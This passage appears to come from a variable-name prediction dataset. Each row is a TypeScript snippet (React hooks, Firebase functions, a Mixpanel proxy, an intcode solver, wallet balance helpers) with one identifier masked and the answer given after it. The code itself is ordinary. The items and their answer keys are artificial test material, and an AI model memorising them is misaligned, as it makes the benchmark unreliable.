    if (body[i] === quoteChar) {
      inQuote = !inQuote;
    }
  }

  if (!inQuote) return false;

  for (let i = start; i < end; i++) {
    if (body[i] === quoteChar) {
      inQuote = !inQuote;
    }
  }

  return inQuote;
}

interface Tag {
  start: number;
  end: number;
  name: string;
}

function getTags(body) {
  const tags: Tag[] = [];
  let start = 0;

  while (true) {
    start = body.indexOf(""<"", start);
    if (start === -1) break;

    const end = body.indexOf("">"", start);
    if (end === -1) break;

    const name = body.slice(start + 1, end).split("" "")[0];
    tags.push({ start, end: end + 1, name });

    start = end + 1;
  }

  return tags;
}

function findMatches(text: string | undefined, substring: string) {
  if (!text) return [];

  const matches: Array<[number, number]> = [];
  let  [MASK]  = 0;

  while (true) {
    const start = text.indexOf(substring,  [MASK] );
    if (start === -1) break;

    const end = start + substring.length;
    matches.push([start, end]);

     [MASK]  = end;
  }

  return matches;
}
",startIndex
745,"import { ProjectsQueryResult } from ""@/sanity.types"";
import { useEffect, useMemo, useState } from ""react"";

export function useProjectSearch(projects: ProjectsQueryResult) {
  const [filtered, setFiltered] = useState<ProjectsQueryResult>([]);
  const [debouncedSearch, setDebouncedSearch] = useState<string>("""");
  const [activeTags, setActiveTags] = useState<string[]>([]);

  useEffect(() => {
    setFiltered(projects);
  }, [projects]);

  useEffect(() => {
    const timeoutId = setTimeout(() => {
      if (debouncedSearch.trim() === """") {
        setFiltered(projects);
      } else {
        const filteredProjects = projects.filter(
          (p) =>
            p.name?.toLowerCase().includes(debouncedSearch) ||
            p.tagline?.toLowerCase().includes(debouncedSearch) ||
            p.slug?.toLowerCase().includes(debouncedSearch) ||
            p.tags?.some((tag) =>
              tag.toLowerCase().includes(debouncedSearch),
            ) ||
            p.languages?.some((l) =>
              l.language?.toLowerCase().includes(debouncedSearch),
            ),
        );
        setFiltered(filteredProjects);
      }
    }, 500);

    return () => clearTimeout(timeoutId);
  }, [debouncedSearch]);

  // Tags change based on filtered projects
  const tags = useMemo(() => {
    const allTags = filtered.flatMap((project) => project.tags || []);
    return Array.from(new Set(allTags.map((tag) => tag.toLowerCase())));
  }, [filtered]);

  // Double filtering: first by search, then by tags
  const activeProjects = useMemo(() => {
    if (activeTags.length === 0) {
      return filtered;
    }
    return filtered.filter((project) =>
      project.tags?.some((tag) => activeTags.includes(tag.toLowerCase())),
    );
  }, [filtered, activeTags]);

  const handleSearch = (event: React.ChangeEvent<HTMLInputElement>) => {
    const searchTerm = event.target.value.toLowerCase();

    if (searchTerm.trim() === """") {
      setFiltered(projects);
      return;
    }

    setDebouncedSearch(searchTerm);
  };

  const handleSortChange = (event: React.ChangeEvent<HTMLSelectElement>) => {
    const sortValue = event.target.value;
    let  [MASK]  = [...filtered];

    if (sortValue === ""recent"") {
       [MASK] .sort(
        (a, b) =>
          new Date(b.developedAt ?? """").getTime() -
          new Date(a.developedAt ?? """").getTime(),
      );
    } else if (sortValue === ""alphabetical"") {
       [MASK] .sort((a, b) => a.name?.localeCompare(b.name || """") || 0);
    }

    setFiltered( [MASK] );
  };

  const handleTagChange = (tag: string) => {
    let newTags = [...activeTags];
    if (activeTags.includes(tag)) {
      newTags = newTags.filter((t) => t !== tag);
      setActiveTags(newTags);
    } else {
      newTags.push(tag);
      setActiveTags(newTags);
    }
  };

  const clearTags = () => {
    setActiveTags([]);
  };

  const resetSearch = () => {
    setDebouncedSearch("""");
    setFiltered(projects);
    setActiveTags([]);
  };

  return {
    activeProjects,
    tags,
    activeTags,
    handleSearch,
    handleSortChange,
    handleTagChange,
    clearTags,
    resetSearch,
  };
}
",sortedProjects
746,"import { waitFor, type WaitForOptions } from ""../wait"";

export function getAllBySelector(
  selector: string,
  parent?: Element
): Element[] {
  return [...(parent || document).querySelectorAll(selector)];
}

export async function getNBySelector(
  selector: string,
  qty: number,
  options: Partial<WaitForOptions> = {},
  parent?: Element
): Promise<Element[]> {
  let  [MASK] : Partial<WaitForOptions> = {
    ...options,
    err:
      options.err ||
      new Error(`Exceeded time limit while querying selector: ""${selector}""`),
  };

  let foundCount = 0;
  const matchedElements = await waitFor(() => {
    const elements = getAllBySelector(selector, parent);

    if (elements.length === qty) {
      return elements;
    }

    foundCount = elements.length;
    return null;
  },  [MASK] );

  return matchedElements;
}

export async function getBySelector(
  selector: string,
  options: Partial<WaitForOptions> = {},
  parent?: Element
): Promise<Element> {
  const matchedElements = await getNBySelector(selector, 1, options, parent);

  return matchedElements[0];
}
",localOptions
747,"
let plus = document.getElementById('button-plus1') as HTMLButtonElement;
plus.addEventListener('click', addCompteur);

function addCompteur(): void {
  let  [MASK]  = document.getElementById('compteur') as HTMLDivElement;
  let compteur = ( [MASK] .textContent === null) ? 0 : parseInt( [MASK] .textContent, 10);
   [MASK] .textContent = (compteur + 1).toString();
}

let cbOFF = document.getElementById('OFF') as HTMLInputElement;
cbOFF.addEventListener('change', event => {
  let off = (event.target as HTMLInputElement).checked;
  changeStateButton(!off);

});

let intervalID=-1;

function changeStateButton(on: boolean) {
  (document.getElementById('button-plus1') as HTMLButtonElement).disabled = on;
  if (on) {
    // doc de setInterval très intéressante à relire chaque fois qu'on l'utilise
    intervalID= setInterval(addCompteur);
  }
  else {
    clearInterval(intervalID);
    intervalID=-1;
  }
}



",divCompteur
748,"import { Theme, ThemeOptions, ComponentsOverrides, ComponentsVariants } from '@mui/material/styles';

// https://mui.com/customization/theme-components/#default-props
export const defaultProps = {};

// https://mui.com/customization/theme-components/#global-style-overrides
export const styleOverrides: ComponentsOverrides<Theme>['Collection'] = {
  // Set some static styles
  // root: {
  //   backgroundColor: 'red'
  // }
  //
  // Use the ownerState to set dynamic styles
  // root: ({ ownerState, theme }) => {
  //   return {
  //     backgroundColor: ownerState.variant === 'example' ? 'red' : theme.palette.background.paper
  //   };
  // }
};

// https://mui.com/customization/theme-components/#adding-new-component-variants
const createVariants = ( [MASK] : Theme): ComponentsVariants['Collection'] => [
  {
    props: {
      variant: 'two-per-row'
    },
    style: {
      '& > [class*=""Section-gridContainer""], & div > [class*=""Section-gridContainer""]': {
        'display': 'grid',
        'gridTemplateColumns': '1fr',
        [ [MASK] .breakpoints.up('md')]: {
          gridTemplateColumns: 'repeat(2, 1fr)'
        },

        ' > [class*=""Section-gridItem""]': {
          maxWidth: '100%',
          height: '100%'
        }
      }
    }
  },
  {
    props: {
      variant: 'three-per-row'
    },
    style: {
      '& > [class*=""Section-gridContainer""], & div > [class*=""Section-gridContainer""]': {
        'display': 'grid',
        'gridTemplateColumns': '1fr',

        [ [MASK] .breakpoints.up('md')]: {
          gridTemplateColumns: 'repeat(2, 1fr)'
        },

        [ [MASK] .breakpoints.up('lg')]: {
          gridTemplateColumns: 'repeat(3, 1fr)'
        },

        ' > [class*=""Section-gridItem""]': {
          maxWidth: '100%',
          height: '100%'
        }
      }
    }
  },
  {
    props: {
      variant: 'four-per-row'
    },
    style: {
      '& > [class*=""Section-gridContainer""], & div > [class*=""Section-gridContainer""]': {
        'display': 'grid',
        'gridTemplateColumns': '1fr',
        [ [MASK] .breakpoints.up('md')]: {
          gridTemplateColumns: 'repeat(2, 1fr)'
        },
        [ [MASK] .breakpoints.up('lg')]: {
          gridTemplateColumns: 'repeat(4, 1fr)'
        },
        ' > [class*=""Section-gridItem""]': {
          maxWidth: '100%',
          height: '100%'
        }
      }
    }
  }
  // Other props are also valid
  // {
  //   props: {
  //     backgroundColor: 'primary.main',
  //   },
  //   style: {
  //     color: theme.palette.primary.contrastText
  //   }
  // }
];

export default (theme: Theme): ThemeOptions => ({
  components: {
    Collection: {
      defaultProps,
      styleOverrides,
      variants: createVariants(theme)
    }
  }
});
",_theme
749,"const text = Deno.readTextFileSync('day02.txt');

const initMemory = text.split(',').map(x => parseInt(x, 10));

function run( [MASK] : number[], a: number, b: number): number {
     [MASK] [1] = a;
     [MASK] [2] = b;

    let pc = 0;
    while (true) {
        const op =  [MASK] [pc];

        switch (op) {
        case 1: {
            const a =  [MASK] [ [MASK] [pc+1]];
            const b =  [MASK] [ [MASK] [pc+2]];
            const dst =  [MASK] [pc+3];
             [MASK] [dst] = a + b;
            pc += 4;
        } break;
        case 2: {
            const a =  [MASK] [ [MASK] [pc+1]];
            const b =  [MASK] [ [MASK] [pc+2]];
            const dst =  [MASK] [pc+3];
             [MASK] [dst] = a * b;
            pc += 4;
        } break;
        case 99: {
            return  [MASK] [0];
        }
        }
    }
}


function findNeedle(needle: number): number {
    for (let i = 0; i < 100; i++) {
        for (let j = 0; j < 100; j++) {
            if (run([...initMemory], i, j) === needle) {
                return (100 * i + j);
            }
        }
    }
    return 0;
}

const needle = 19690720;
console.log(findNeedle(needle))
",mem
750,"/**
 * github-file-exists
 * Copyright (c) 2021 <NAME>
 *
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 * @copyright 2021 <NAME>
 * @license Apache-2.0
 *
 */

import fetch from ""node-fetch"";

export = async (owner: string,
	repo: string,
	 [MASK] : string,
	apiKey?: string): Promise<boolean> => {
	let headers = {
		Accept: ""application/vnd.github.v3+json"",
		""User-Agent"": ""github-file-exists"",
	};
	if (apiKey != null && apiKey.length >= 1) {
		headers[""Authorization""] = `token ${apiKey}`;
	}
	const response: Response = await fetch(
		`https://api.github.com/repos/${owner.replace(
			/\/|\\/gm,
			""""
		)}/${repo.replace(/\/|\\/gm, """")}/contents/${ [MASK] }`,
		{
			headers: headers,
		}
	);
	const responseJson = await response.json();
	if (response.status != 200 && response.status != 404) {
		if (responseJson.message) {
			throw new Error(`Error: ${responseJson.message}`);
		} else {
			throw new Error(`Error: ${response.status} ${response.statusText}`);
		}
	}
	return response.status === 200 ? true : false;
}
",path
751,"import http from ""http"";
import * as functions from ""firebase-functions"";

type QueryEntryPrimitive = string | number | boolean;
interface QueryEntry {
  [key: string | number]: QueryEntryPrimitive | Array<QueryEntryPrimitive | QueryEntry> | QueryEntry;
}

/**
 * Encode object into query params
 *
 * @param obj
 */
function serialize(obj: QueryEntry, prefix?: string) {
  const str = [];
  for (const p in obj) {
    if (Object.prototype.hasOwnProperty.call(obj, p)) {
      const k = prefix ? prefix + ""["" + p + ""]"" : p;
      const v = obj[p];
      str.push(v !== null && typeof v === ""object"" ? serialize(v as QueryEntry, k) : encodeURIComponent(k) + ""="" + encodeURIComponent(v as string));
    }
  }
  return str.join(""&"");
}

/**
 * Proxy request to mixpanel api
 *
 * @param request
 * @param response
 */
export function mixpanelTunnelFunction(request: functions.Request, response: functions.Response): void {
  const  [MASK]  = ""api.mixpanel.com"";

  let ip = request.ip;
  if(request.get[""HTTP_X_FORWARDED_FOR""]) {
    ip = request.get[""HTTP_X_FORWARDED_FOR""];
  } else if(request.get[""HTTP_X_REAL_IP""]) {
    ip = request.get[""HTTP_X_REAL_IP""];
  }

  try {
    const mixpanelRequest = http.request({
      host:  [MASK] ,
      path: request.url.replace(""/tunnel/mixpanel"", """"),
      method: request.method,
      headers: ip ? { ""X-REAL-IP"": ip } : undefined,
    }, (mixpanelResponse => {
      let mixpanelResponseBodyStr = """";

      //another chunk of data has been received, so append it to `mixpanelResponseBodyStr`
      mixpanelResponse.on(""data"", (chunk) => {
        mixpanelResponseBodyStr += chunk;
      });

      //the whole response has been received
      mixpanelResponse.on(""end"", () => {
        for (const headerName in mixpanelResponse.headers) {
          const excludedHeaders = [""content-encoding"", ""content-length"", ""transfer-encoding"", ""connection"", ""access-control-allow-credentials"", ""access-control-allow-origin""];
          if (excludedHeaders.includes(headerName)) {
            continue;
          }
          response.setHeader(headerName, mixpanelResponse.headers[headerName]);
        }
        response.status(mixpanelResponse.statusCode).send(mixpanelResponseBodyStr);
      });
    }))
    .on(""error"", (error) => {
      functions.logger.error(error);
      response.status(500).send(error?.message);
    });
    mixpanelRequest.write(typeof request.body === ""object"" ? serialize(request.body) : request.body);
    mixpanelRequest.end();
  } catch (error) {
    functions.logger.error(error);
    throw new functions.https.HttpsError(""aborted"", error);
  }
}",mixpanelHost
752,"import type { Furigana, Sentence } from ""./interfaces"";
import {
  appearsExactlyOnce,
  furiganaEqual,
  furiganasToPlain,
  zip,
  zipRight,
} from ""./utils"";

/**
 * Create a new sentence object given a synonymous sentence in furigana
 */
export function addSynonym(original: Sentence, syn: Furigana[]): Sentence {
  let orig = original.furigana;
  const origPlain = furiganasToPlain(orig);
  const synPlain = furiganasToPlain(syn);

  let  [MASK]  = 0;
  for (const [a, b] of zip(orig, syn)) {
    if (furiganaEqual(a, b)) {
      const origProposed = furiganasToPlain(orig.slice( [MASK]  + 1));
      const synProposed = furiganasToPlain(syn.slice( [MASK]  + 1));
      if (
        origProposed &&
        synProposed &&
        appearsExactlyOnce(origPlain, origProposed) &&
        appearsExactlyOnce(synPlain, synProposed)
      ) {
         [MASK] ++;
      }
    } else {
      break;
    }
  }

  orig = orig.slice( [MASK] );
  syn = syn.slice( [MASK] );

  let right = 0; // 0 means `undefined`, meaning, `slice` will include the last element!
  for (const [a, b] of zipRight(orig, syn)) {
    if (furiganaEqual(a, b)) {
      const origProposed = furiganasToPlain(orig.slice(0, right - 1));
      const synProposed = furiganasToPlain(syn.slice(0, right - 1));
      if (
        origProposed &&
        synProposed &&
        appearsExactlyOnce(origPlain, origProposed) &&
        appearsExactlyOnce(synPlain, synProposed)
      ) {
        right--;
      }
    } else {
      break;
    }
  }

  orig = orig.slice(0, right || undefined);
  syn = syn.slice(0, right || undefined);

  // early escape hatches
  const proposedOrigPlain = furiganasToPlain(orig);
  const proposedSynFull = furiganasToFull(syn);

  // don't add a tautological synonym
  if (proposedSynFull === furiganasToFull(orig)) {
    return original;
  }

  // don't duplicate an existing synonym
  if (
    original.synonyms &&
    original.synonyms.some(
      ([plain, equiv]) =>
        proposedSynFull === furiganasToFull(equiv) &&
        proposedOrigPlain === plain
    )
  ) {
    return original;
  }

  return {
    ...original,
    synonyms: (original.synonyms ?? []).concat([[proposedOrigPlain, syn]]),
  };
}

function furiganasToFull(v: Furigana[]): string {
  return v
    .map((x) => (typeof x === ""string"" ? x : `${x.rt}${x.ruby}`))
    .join("""");
}
",left
753,"import assert from 'assert';
import firebase from 'firebase-admin';
import {DocumentData, getFirestore} from 'firebase-admin/firestore';
import {getStorage} from 'firebase-admin/storage';
import {info} from 'firebase-functions/logger';
import {defineSecret} from 'firebase-functions/params';
import {https} from 'firebase-functions/v2';
import {chunk, zip} from 'lodash';

const hakatashiApiKey = defineSecret('HAKATASHI_API_KEY');

export const getTopImages = https.onRequest(
	{
		cors: true,
		secrets: [hakatashiApiKey],
	},
	async (req, res) => {
		const {
			date,
			model: rawModel = '',
			category: rawCategory = '',
			apikey: rawApikey = '',
			cursor: rawCursor = '',
		} = req.query;
		if (rawApikey.toString() !== hakatashiApiKey.value()) {
			res.status(403).send('Invalid API key');
			return;
		}

		const model = rawModel.toString();
		const category = rawCategory.toString();
		if (!model.match(/^[0-9a-z_]+$/i) || !category.match(/^[0-9a-z_]+$/i)) {
			res.status(400).send('Invalid model or category');
			return;
		}

		const cursor = parseFloat(rawCursor.toString()) || Number.MAX_VALUE;

		const db = getFirestore();
		const result = await db.collection('images')
			.where('date', '==', date)
			.where(`inferences.${model}.${category}`, '<', cursor)
			.orderBy(`inferences.${model}.${category}`, 'desc')
			.limit(30)
			.get();

		const getPixivInfos = async () => {
			const pixivInfos = new Map<number, DocumentData>();
			const pixivPages = new Map<number, DocumentData>();
			const  [MASK]  = result.docs
				.filter((doc) => doc.data().type === 'pixiv')
				.map((doc) => doc.data().artworkId);
			info(`Fetching ${ [MASK] .length} pixiv artworks`);
			if ( [MASK] .length > 0) {
				for (const artworkIds of chunk( [MASK] , 30)) {
					const pixivRankings = await db.collection('pixivRanking')
						.where('artwork.illust_id', 'in', artworkIds)
						.get();
					for (const doc of pixivRankings.docs) {
						const data = doc.data();
						if (data?.artwork?.illust_id) {
							pixivInfos.set(data.artwork.illust_id, data);
						}
					}
					const pixivPageResults = await db.collection('pixivPages')
						.where(firebase.firestore.FieldPath.documentId(), 'in', artworkIds.map((id) => id.toString()))
						.get();
					for (const doc of pixivPageResults.docs) {
						const data = doc.data();
						pixivPages.set(parseInt(doc.id), data);
					}
				}
			}
			return {pixivInfos, pixivPages};
		};

		const getDanbooruInfos = async () => {
			const danbooruInfos = new Map<number, DocumentData>();
			const danbooruPostIds = result.docs
				.filter((doc) => doc.data().type === 'danbooru')
				.map((doc) => doc.data().postId);
			info(`Fetching ${danbooruPostIds.length} danbooru posts`);
			if (danbooruPostIds.length > 0) {
				for (const postIds of chunk(danbooruPostIds, 30)) {
					const danbooruRankings = await db.collection('danbooruRanking')
						.where('post.id', 'in', postIds)
						.get();
					for (const doc of danbooruRankings.docs) {
						const data = doc.data();
						if (data?.post?.id) {
							danbooruInfos.set(data.post.id, data);
						}
					}
				}
			}
			return {danbooruInfos};
		};

		const getGelbooruInfos = async () => {
			const gelbooruInfos = new Map<number, DocumentData>();
			const gelbooruPostIds = result.docs
				.filter((doc) => doc.data().type === 'gelbooru')
				.map((doc) => doc.data().postId);
			info(`Fetching ${gelbooruPostIds.length} gelbooru posts`);
			if (gelbooruPostIds.length > 0) {
				for (const postIds of chunk(gelbooruPostIds, 30)) {
					const gelbooruImages = await db.collection('gelbooruImage')
						.where('post.id', 'in', postIds)
						.get();
					for (const doc of gelbooruImages.docs) {
						const data = doc.data();
						if (data?.post?.id) {
							gelbooruInfos.set(data.post.id, data);
						}
					}
				}
			}
			return {gelbooruInfos};
		};

		const getSignedUrls = async () => {
			const urls = result.docs.map(async (doc) => {
				const data = doc.data();
				const storage = getStorage();
				const bucket = storage.bucket('danbooru-ml-classifier-images');
				const [url] = await bucket.file(data.key).getSignedUrl({
					version: 'v4',
					action: 'read',
					expires: Date.now() + 15 * 60 * 1000,
				});
				return url;
			});
			return {signedUrls: await Promise.all(urls)};
		};

		const getPixivImagesCount = () => (
			db.collection('images')
				.where('date', '==', date)
				.where('type', '==', 'pixiv')
				.count()
				.get()
		);

		const getDanbooruImagesCount = () => (
			db.collection('images')
				.where('date', '==', date)
				.where('type', '==', 'danbooru')
				.count()
				.get()
		);

		const getGelbooruImagesCount = () => (
			db.collection('images')
				.where('date', '==', date)
				.where('type', '==', 'gelbooru')
				.count()
				.get()
		);

		const [
			{pixivInfos, pixivPages},
			{danbooruInfos},
			{gelbooruInfos},
			{signedUrls},
			pixivImagesCount,
			danbooruImagesCount,
			gelbooruImagesCount,
		] = await Promise.all([
			getPixivInfos(),
			getDanbooruInfos(),
			getGelbooruInfos(),
			getSignedUrls(),
			getPixivImagesCount(),
			getDanbooruImagesCount(),
			getGelbooruImagesCount(),
		]);

		const images = zip(result.docs, signedUrls).map(([doc, signedUrl]) => {
			assert(doc !== undefined, 'doc is undefined');
			assert(signedUrl !== undefined, 'signedUrl is undefined');

			const data = doc.data();

			let width = 0;
			let height = 0;
			if (data.type === 'pixiv') {
				const pixivInfo = pixivInfos.get(data.artworkId);
				if (pixivInfo) {
					Object.assign(data, pixivInfo);
				}

				const pixivPage = pixivPages.get(data.artworkId);
				if (pixivPage) {
					width = pixivPage?.pages?.[data.page]?.width || 0;
					height = pixivPage?.pages?.[data.page]?.height || 0;
				}
			} else if (data.type === 'danbooru') {
				const danbooruInfo = danbooruInfos.get(data.postId);
				if (danbooruInfo) {
					width = danbooruInfo.post.image_width;
					height = danbooruInfo.post.image_height;
					Object.assign(data, danbooruInfo);
				}
			} else if (data.type === 'gelbooru') {
				const gelbooruInfo = gelbooruInfos.get(data.postId);
				if (gelbooruInfo) {
					width = gelbooruInfo.post.width;
					height = gelbooruInfo.post.height;
					Object.assign(data, gelbooruInfo);
				}
			}

			return {
				...data,
				width,
				height,
				url: signedUrl,
				score: data.inferences[model][category],
			};
		});

		res.json({
			images,
			counts: {
				danbooru: danbooruImagesCount.data().count,
				gelbooru: gelbooruImagesCount.data().count,
				pixiv: pixivImagesCount.data().count,
			},
		});
	},
);
",pixivArtworkIds
754,"import { Config } from 'wagmi'
import { getAccount as wagmi_getAccount, getBalance as wagmi_getBalance } from 'wagmi/actions'
import { HWBridgeSession } from '../hWBridge'
import { UserBalanceResult } from '../types'
import {
  ConnectorType,
  DEFAULT_TOKEN_DECIMALS,
  DEFAULT_TOKEN_DECIMALS_ETHEREUM,
  DEFAULT_TOKEN_SYMBOL,
} from '../constants'
import { queryMirror } from './mirror.actions'
import { MirrorBalancesResponse } from './types'
import { HederaSignerType } from '../hWBridge/types'
import { chainToNetworkName } from '../utils'

export const getAccountId = async <TWallet extends HWBridgeSession>({
  wallet,
  config,
}: {
  wallet: TWallet
  config: Config
}): Promise<string | null> => {
  if (!wallet.signer) return null
  if (wallet.connector.type === ConnectorType.HEDERA)
    return (wallet.signer as HederaSignerType).getAccountId().toString()

  try {
    const wagmiAddress = wagmi_getAccount(config).address || null

    if (!wagmiAddress) return null

    const accountMirrorResponse = await queryMirror<{ account: string }[]>({
      path: `/api/v1/accounts/${wagmiAddress}`,
      queryKey: ['getHederaAccountId'],
      options: { network: chainToNetworkName(wallet.connector.chain), firstOnly: true },
    })

    if (!accountMirrorResponse?.[0].account) {
      return wagmiAddress
    }

    return accountMirrorResponse[0].account
  } catch (e) {
    console.error(e)
    return null
  }
}

export const getEvmAddress = async <TWallet extends HWBridgeSession>({
  wallet,
  config,
}: {
  wallet: TWallet
  config: Config
}): Promise<string | null> => {
  if (!wallet.signer) return null
  if (wallet.connector.type === ConnectorType.HEDERA) {
    try {
      const accountId = (wallet.signer as HederaSignerType).getAccountId().toString()

      const accountMirrorResponse = await queryMirror<{ evm_address: string }[]>({
        path: `/api/v1/accounts/${accountId}`,
        queryKey: ['getHederaEvmAddress'],
        options: { network: chainToNetworkName(wallet.connector.chain), firstOnly: true },
      })

      if (!accountMirrorResponse?.[0].evm_address) {
        return null
      }

      return accountMirrorResponse[0].evm_address
    } catch (e) {
      console.error(e)
      return null
    }
  }

  return wagmi_getAccount(config).address || null
}

export const getBalance = async <TWallet extends HWBridgeSession>({
  wallet,
  config,
}: {
  wallet: TWallet
  config: Config
}): Promise<UserBalanceResult | null> => {
  if (!wallet.signer) return null

  if (wallet.connector.type === ConnectorType.HEDERA) {
    try {
      const accountId = await getAccountId({ wallet, config })

      const balancesMirrorResponse = await queryMirror<MirrorBalancesResponse[]>({
        path: `/api/v1/balances?account.id=${accountId}`,
        queryKey: ['getBalance'],
        options: { network: chainToNetworkName(wallet.connector.chain) },
      })

      const balance = (balancesMirrorResponse?.[0].balances?.[0]?.balance || 0) / Math.pow(10, DEFAULT_TOKEN_DECIMALS)

      return {
        decimals: DEFAULT_TOKEN_DECIMALS,
        formatted: `${balance} ${DEFAULT_TOKEN_SYMBOL}`,
        symbol: DEFAULT_TOKEN_SYMBOL,
        value: balance,
      } as UserBalanceResult
    } catch (e) {
      console.error('Unable to fetch your balance', e)
      return null
    }
  }

  const { address } = wagmi_getAccount(config)

  if (!address) throw new Error('Could not determine your wallet address')

  const  [MASK]  = await wagmi_getBalance(config, { address })
  const value = Number( [MASK] .value) / Math.pow(10, DEFAULT_TOKEN_DECIMALS_ETHEREUM)

  const balance: UserBalanceResult = {
    ... [MASK] ,
    formatted: value + ' ' + DEFAULT_TOKEN_SYMBOL,
    value,
  }

  return balance
}
",wagmiBalance
755,"import { Component } from '@angular/core';
import { CommonModule } from '@angular/common';
import { trigger, transition, style, animate } from '@angular/animations';

@Component({
  selector: 'app-education',
  standalone: true,
  imports: [CommonModule],
  templateUrl: './education.component.html',
  styleUrls: ['./education.component.css'],
  animations: [
    trigger('educationAnimation', [
      transition(':enter', [
        style({ opacity: 0, transform: 'translateY(-20px)' }),
        animate('500ms ease-out', style({ opacity: 1, transform: 'translateY(0)' }))
      ])
    ])
  ]
})
export class EducationComponent {
  education = {
    university: {
      name: 'Vemana Institute of Technology, Visvesvaraya Technological University',
      year: 'Aug 2021',
      degree: 'Bachelor of Computer Science & Engineering',
      image: '/assets/education/vemana.jpg'
    },
    college: {
      name: 'Christ Junior College',
      year: 'May 2016',
      stream: 'Science, PCMB',
      image: '/assets/education/christ.png'
    },
    school: {
      name: '<NAME>, Central Board of Secondary Education',
      year: 'May 2014',
      level: 'High School',
      image: '/assets/education/anand.jpg'
    }
  };

  onImageError(event: Event) {
    const  [MASK]  = event.target as HTMLImageElement;
    if ( [MASK] ) {
       [MASK] .style.display = 'none';
    }
  }
}
",img
756,"import { Canvas } from './Canvas';
import { Color } from './Color';
import { PhysicsObject } from './PhysicsObject';
import { Vector } from './Vector';

export class Ball extends PhysicsObject {
  public color: Color = new Color();
  public size: number = 10;
  constructor(pos: Vector = new Vector()) {
    super();
    this.pos = pos;
  }
  public setColor = (val: Color = new Color(255, 0, 0)) => {
    this.color = val;
  };
  public draw = (c: Canvas) => {
    c.circle({
      pos: this.pos,
      size: this.size,
      fill: true,
      fillColor: this.color.getColor(),
    });
  };
  public checkCollision = (val: Ball) => {
    if (this.dist(val) <= this.size + val.size) {
      return true;
    } else {
      return false;
    }
  };
  public update = () => {
    this.vel.add(this.acc);
    this.pos.add(this.vel);
  };
  public static generate = (quantity: number, size: Vector): Ball[] => {
    const  [MASK] : Ball[] = [];
    for (let i = 0; i < quantity; i++) {
       [MASK] .push(new Ball(new Vector(Math.random() * size.x, Math.random() * size.y)));
    }
    return  [MASK] ;
  };
}
",output
757,"export type submitConvertKitProps = {
  formId: string;
  name: string;
  email: string;
  [key: string]: string;
};

export const submitConvertKit = async (
  data: submitConvertKitProps
): Promise<{
  success: boolean;
  message?: string;
}> => {
  ""use server"";

  const  [MASK]  = process.env.CONVERTKIT_API_KEY;

  if (! [MASK]  || !data.formId) {
    console.error(""ConvertKit API key and / or form ID is missing."");
    return {
      success: false,
      message: ""ConvertKit API key and / or form ID is missing."",
    };
  }

  if (!data.name || !data.email) {
    console.error(""Name and / or email is missing."");
    return {
      success: false,
      message: ""Name and / or email is missing."",
    };
  }

  const customFields = Object.entries(data).filter(([key]) => ![""formId"", ""name"", ""email""].includes(key));
  console.log(""customFields"", customFields);

  try {
    const response = await fetch(`https://api.convertkit.com/v3/forms/${data.formId}/subscribe`, {
      method: ""POST"",
      headers: {
        ""Content-Type"": ""application/json; charset=utf-8"",
      },
      body: JSON.stringify({
        api_key:  [MASK] ,
        email: data.email,
        fields: {
          name: data.name,
          ...Object.fromEntries(customFields),
        },
      }),
    });

    if (!response.ok) {
      throw new Error(`Failed to subscribe: ${response.statusText}`);
    }

    const result = await response.json();
    console.log(""Subscription successful:"", result);

    return {
      success: true,
    };
  } catch (error: any) {
    console.error(""Error subscribing to ConvertKit:"", error);
    return {
      success: false,
      message: error.message || undefined,
    };
  }
};
",apiKey
758,"import { IValidationError, ValidationPriorities } from '../models';
import { EditorContext } from '../context';
import { useContext, useEffect } from 'react';
import { Omit, is } from 'anux-common';
import { useBound } from 'anux-react-utils';

interface IValidationConfigWithValue<T> {
    value: T;
    isRequired?: boolean;
}

interface IValidationConfigWithoutValue {
    isRequired(): boolean;
}

interface IStandardValidationConfig {
    id: string;
    isDisabled?: boolean;
    isValid?(raiseError: (error: Omit<IValidationError, 'id'>) => void): void;
}

type IValidationConfig<T> = (IValidationConfigWithoutValue | IValidationConfigWithValue<T>) & IStandardValidationConfig;

function defaultRequiredValidation<T>(value: T): boolean {
    if (is.empty(value as any)) { return true; }
    if (value == null) { return true; }
    return false;
}

// @ts-ignore
export function useValidation<T>({ id, isRequired = false, isValid, isDisabled = false, value }: IValidationConfig<T>,  [MASK] ?: any[]): IValidationError {
    const { setValidationErrorsFor, validationErrors } = useContext(EditorContext);

    isValid = is.function(isValid) ? useBound(isValid) : isValid;
    isRequired = is.function(isRequired) ? useBound(isRequired) : isRequired;

     [MASK]  = ( [MASK]  || []).concat([isRequired, isDisabled, isValid, value]);

    useEffect(() => {
        const newValidationErrors: IValidationError[] = [];

        // make sure we are not disabled (disabled components cannot cause validation errors)
        if (!isDisabled) {

            // isRequired validation
            if (typeof (isRequired) === 'function' || isRequired === true) {
                const requiredCheckFunc = typeof (isRequired) === 'function' ? isRequired : defaultRequiredValidation.bind(null, value);
                if (requiredCheckFunc() === true) {
                    newValidationErrors.push({
                        id,
                        message: 'This field requires a value.',
                        priority: ValidationPriorities.IsRequired,
                    });
                }
            }

            // custom validation
            if (typeof (isValid) === 'function') { isValid(error => newValidationErrors.push({ ...error, id })); }
        }

        // set the validation for this component
        setValidationErrorsFor(id, newValidationErrors);
    },  [MASK] );

    useEffect(() => () => setValidationErrorsFor(id, []), []); // clear the validation errors for this component when it is unmounted

    return validationErrors
        .filter(error => error.id === id)
        .orderBy(error => error.priority)
        .firstOrDefault();
}
",dependencies
759,"import * as core from '@actions/core'
import { Octokit } from '@octokit/rest'
import MarkdownIt from 'markdown-it'

/**
 * The main function for the action.
 * @returns {Promise<void>} Resolves when the action is complete.
 */
export async function run(): Promise<void> {
  const token = core.getInput('token', { required: true })

  if (!token) {
    core.setFailed('GitHub token is required.')
  }

  // Initialize the GitHub client with the token
  const octokit = new Octokit({ auth: token })
  // GitHub repository information
  const owner = core.getInput('owner', { required: true })
  const repo = core.getInput('repo', { required: true })
  // Issue number to extract Gherkin content from
  const issueNumber = parseInt(core.getInput('issue', { required: true }))

  // Default values
  const defaultTitle = core.getInput('default_title') || 'Test'
  const  [MASK]  = core.getBooleanInput('update_title') || false

  core.info(
    `Extracting Gherkin content from issue #${issueNumber} in ${owner}/${repo}...`
  )

  if (
    !owner ||
    !repo ||
    !issueNumber ||
    isNaN(issueNumber) ||
